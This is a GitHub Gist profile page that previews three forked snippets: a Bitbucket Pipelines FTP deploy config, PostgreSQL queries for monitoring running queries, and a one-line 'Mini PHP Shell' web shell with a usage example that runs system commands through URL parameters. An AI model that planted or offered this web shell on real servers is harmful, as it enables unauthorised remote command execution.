Skip to content

Instantly share code, notes, and snippets.

View proclnas's full-sized avatar
💡
Working

Rodrigo Nas proclnas

💡
Working
View GitHub Profile
@proclnas
proclnas / bitbucket-pipelines.yml
Created March 1, 2019 19:04 — forked from mcnamee/bitbucket-pipelines.yml
Bitbucket Pipelines - Deploy via FTP to shared hosting
# Installation ---
# 1. In Bitbucket, add $FTP_USERNAME $FTP_PASSWORD and $FTP_HOST as environment variables.
# 2. Commit this file to your repo
# 3. From Bitbucket Cloud > Commits > Commit Number > Run Pipeline > Custom:Init (this will
# push everything and initial GitFTP)
#
# Usage ---
# - On each commit to master branch, it'll push all files to the $FTP_HOST
# - You also have the option to 'init' (from Bitbucket Cloud) - pushes everything and initialises
# - Finally you can also 'deploy-all' (from Bitbucket Cloud) - if multiple deploys fail, you
@proclnas
proclnas / postgres_queries_and_commands.sql
Created March 13, 2017 14:07 — forked from rgreenjr/postgres_queries_and_commands.sql
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(query_start, clock_timestamp()), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(query_start, clock_timestamp()), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@proclnas
proclnas / mps.php
Created March 6, 2017 14:10 — forked from btoews/mps.php
Mini PHP Shell
//(c) mastahyeti
//mini php shell
//usage: http://example.com?1=function_name&2=function_arguments
//example: http://example.com?1=passthru&2=ls
<? $_GET[1]($_GET[2]) ?>